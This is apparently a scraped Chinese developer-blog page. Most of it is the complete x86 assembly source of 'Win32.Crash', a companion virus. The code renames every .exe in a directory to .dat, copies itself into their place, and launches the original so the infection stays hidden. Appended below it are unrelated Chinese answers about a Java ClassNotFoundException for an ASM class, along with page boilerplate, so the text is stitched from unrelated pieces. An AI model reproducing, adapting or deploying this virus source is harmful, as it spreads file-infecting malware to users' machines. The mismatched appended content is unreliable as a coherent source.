Win32.Crash.asm

comment *

Name: Crash OverWrite :-)
Coder: BeLiAL
Type: Companion
Anything else: NO

This is my first win32 virus.Its only a
companionvirus but it does his work very
well.Its perhaps coded not so fine but
im sure nobody will care.It infects all
files in the directory and renames
the victimfile to .dat .Perhaps i will make
infecting more files...
Its without payload and any weapons :)
It Doesnt infect dos-files correctly.
Greetings to the whole #vx channel on undernet

BeLiAL
*

.386
.model flat
Locals
Jumps

Extrn FindFirstFileA :PROC
Extrn FindNextFileA :PROC
Extrn CreateFileA :PROC
Extrn WriteFile :PROC
Extrn ReadFile :PROC
Extrn GlobalAlloc :PROC
Extrn GlobalFree :PROC
Extrn ExitProcess :PROC
Extrn WinExec :PROC
Extrn CopyFileA :PROC
Extrn CloseHandle :PROC
Extrn SetFilePointer :PROC
Extrn GetFileSize :PROC

.data

MAX_PATH EQU 0ffh
FALSE EQU 0
changeoffset EQU 094fh
winsize EQU 01h

FILETIME struct
dwLowDateTime DWORD ?
dwHighDateTime DWORD ?
FILETIME ends

WIN32_FIND_DATA struct
dwFileAttributes DWORD ?
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh DWORD ?
nFileSizeLow DWORD ?
dwReserved0 DWORD ?
dwReserved1 DWORD ?
cFileName BYTE MAX_PATH dup(?)
cAlternate BYTE 0eh dup(?)
ends
FindFileData WIN32_FIND_DATA <>

memptr dd 0
counter1 dd 0
filehandle dd 0
filesize dd 00001000h
exefile db '*.exe',0
myname db 'crashoverwrite.exe',0
dd 0
dd 0
secbuffer dd 0
dd 0
dd 0
searchhandle dd 0
db '[Crash OverWrite] coded by BeLiAL'

.code

start:
push offset FindFileData
push offset exefile
call FindFirstFileA
mov searchhandle,eax
already_infected:
mov eax,dword ptr nFileSizeLow.FindFileData
cmp eax,00001000h
je find_next_victim
mov eax,offset cFileName.FindFileData
jmp find_dot1
find_next_victim:
push offset FindFileData
push searchhandle
call FindNextFileA
test eax,eax
jz reanimate
jmp already_infected
find_dot1:
cmp byte ptr ds:[eax],'.'
je next_step1
add eax,1
jmp find_dot1
next_step1:
add eax,1
push eax
mov byte ptr ds:[eax],'d'
add eax,1
mov byte ptr ds:[eax],'a'
add eax,1
mov byte ptr ds:[eax],'t'
mov ebx,offset cFileName.FindFileData
mov eax,offset secbuffer
find_dot2:
mov dh,byte ptr ds:[ebx]
cmp edx,0
je next_step2
mov byte ptr ds:[eax],dh
add ebx,1
add eax,1
jmp find_dot2
next_step2:
pop eax
push FALSE
push offset secbuffer
mov byte ptr ds:[eax],'e'
add eax,1
mov byte ptr ds:[eax],'x'
add eax,1
mov byte ptr ds:[eax],'e'
push offset cFileName.FindFileData
call CopyFileA
push FALSE
push offset cFileName.FindFileData
push offset myname
call CopyFileA
open_victim:
push 0
push 080h
push 3h
push 0h
push 0h
push 0c0000000h
push offset FindFileData.cFileName
Call CreateFileA
mov filehandle,eax
cmp eax,0ffffffffh
je find_next_victim
getmemory:
push filesize
push 0
Call GlobalAlloc ;get the memory
mov edx,eax
cmp eax,0
je close_file
push edx
copyinmemory:
push 0
push offset counter1
push filesize
push edx
push filehandle
Call ReadFile
pop edx
mov dword ptr memptr,edx ;for later use
add edx,changeoffset
mov eax,offset cFileName.FindFileData
modify_victim:
mov bh,byte ptr ds:[eax]
mov byte ptr ds:[edx],bh
cmp bh,0
je set_pointer
add eax,1
add edx,1
jmp modify_victim
set_pointer:
push 0
push 0
push 0
push filehandle
call SetFilePointer
copy_to_file:
push 0
push offset counter1
push filesize
push memptr
push filehandle
call WriteFile
close_file:
push filehandle
call CloseHandle
jmp find_next_victim
reanimate:
mov eax,offset myname
find_dot3:
mov bx,word ptr ds:[eax]
cmp bx,'e.'
je next_step3
cmp bx,'E.'
je next_step3
add eax,1
jmp find_dot3
next_step3:
add eax,1
mov byte ptr ds:[eax],'d'
add eax,1
mov byte ptr ds:[eax],'a'
add eax,1
mov byte ptr ds:[eax],'t'
add eax,1
mov byte ptr ds:[eax],00h
that_was_all:
push winsize
push offset myname
call WinExec
final:
push 0
call ExitProcess

ends
end start

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: `ClassNotFoundException: org.objectweb.asm.Type` 是一个Java异常,表示无法找到名为 `org.objectweb.asm.Type` 的类。ASM是一个用于动态生成和修改Java字节码的工具库,`org.objectweb.asm.Type` 是ASM库中的一个类。 当出现 `ClassNotFoundException: org.objectweb.asm.Type` 异常时,可能有以下几种原因: 1. 缺少ASM库:你的代码依赖于ASM库,但是没有将它添加到项目的构建路径中。你可以通过将ASM库添加到项目的依赖中来解决这个问题,例如在Maven项目中,在pom.xml文件中添加ASM的依赖项。 2. 版本不匹配:你使用的ASM库的版本与你的代码不兼容。可能是你的代码使用了一个旧版本的ASM,而该类在新版本中已被删除或重命名。你应该检查你的依赖项,并确保使用与代码兼容的ASM版本。 3. 类名错误:在代码中,你可能错误地引用了 `org.objectweb.asm.Type` 类,或者错误地拼写了类名。请仔细检查你的代码,确认类名的正确性。 要解决 `ClassNotFoundException: org.objectweb.asm.Type` 异常,你可以尝试以下几个步骤: 1. 检查依赖项:确保ASM库已正确添加到项目的构建路径中,并且版本与你的代码兼容。 2. 更新ASM库:如果你使用的ASM库版本较旧,请尝试更新到最新版本并重新构建项目。这可能会修复由于版本不匹配导致的问题。 3. 仔细检查代码:确保在代码中正确引用了 `org.objectweb.asm.Type` 类,并且没有发生拼写错误。 如果上述步骤都没有解决问题,你可以考虑向相关社区或论坛寻求帮助,提供更详细的信息,以便他人能够更好地理解并帮助你解决这个异常。 ### 回答2: ClassNotFoundException: org.objectweb.asm.Type是Java中的一个异常类型,表示在运行时无法找到指定的类。这个异常通常在使用反射或动态加载机制时出现,当试图加载一个不存在的类时,就会抛出该异常。 org.objectweb.asm.Type是一个类库ASM中的一个类,它提供了对Java字节码中类型的描述和操作。ASM是一个用于在Java字节码级别进行操作的工具包,它允许以程序方式访问和修改类文件结构。org.objectweb.asm.Type类提供了一系列方法来获取和操作类、字段和方法的类型信息。 当出现ClassNotFoundException: org.objectweb.asm.Type时,意味着在运行时无法找到这个org.objectweb.asm.Type类。可能存在以下几种情况导致这个异常出现: 1. 缺少相关的依赖库:org.objectweb.asm.Type类是ASM库的一部分,如果在项目中没有正确引入ASM库或者ASM库的版本不兼容,就会导致无法找到这个类。需要确认是否正确引入了ASM库并且版本匹配。 2. 包名或类名错误:如果org.objectweb.asm.Type类的包名或类名错误,也会导致无法找到这个类。需要确认包名和类名是否正确。 3. 类路径问题:如果org.objectweb.asm.Type类所在的路径没有包含在JVM的类路径中,同样也会导致无法找到这个类。需要确认类路径配置是否正确。 解决这个异常的方法包括: 1. 确认ASM库的正确引入和版本兼容性。 2. 检查org.objectweb.asm.Type类的包名和类名是否正确。 3. 检查类路径配置是否正确。 总之,ClassNotFoundException: org.objectweb.asm.Type是在运行时无法找到org.objectweb.asm.Type类时抛出的异常。需要检查相关的依赖库、包名、类名和类路径配置来解决这个问题。 ### 回答3: `ClassNotFoundException: org.objectweb.asm.Type` 错误是由于Java程序在运行时找不到 `org.objectweb.asm.Type` 类而引发的。这通常是由以下几种情况导致的: 1. 缺少相关的库或依赖:当程序使用某个库或依赖项,但该依赖项没有正确地添加到项目的类路径中时,就会出现此错误。解决方法是确认是否有导入正确的库,并将其正确添加到程序的类路径中。 2. 版本不兼容:如果项目中的库或依赖项与其他库之间存在版本冲突,就可能导致无法找到所需的类。解决方法是检查项目中使用的所有库的版本,并确保它们与彼此兼容。 3. 编译错误:有时,在编译源代码时可能会出现错误,如缺少引入语句或语法错误等。这会导致无法生成正确的字节码文件,进而在运行时无法加载所需的类。解决方法是检查源代码中的错误,并进行修正。 4. 类文件丢失或损坏:如果程序依赖的类文件丢失或损坏,就会导致无法找到所需的类。解决方法是确保所需的类文件存在且完好无损,如果需要,可以尝试重新编译或重新安装程序。 5. 类路径配置错误:如果程序的类路径配置有误,就会导致无法找到所需的类。解决方法是检查类路径配置是否正确,并进行必要的更正。 总之,`ClassNotFoundException: org.objectweb.asm.Type` 错误的解决方法是仔细检查程序的库和依赖项、版本兼容性、编译错误、类文件的完整性以及类路径配置是否正确。根据具体情况进行相应的调整和修复,以确保程序能够正确加载所需的类。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值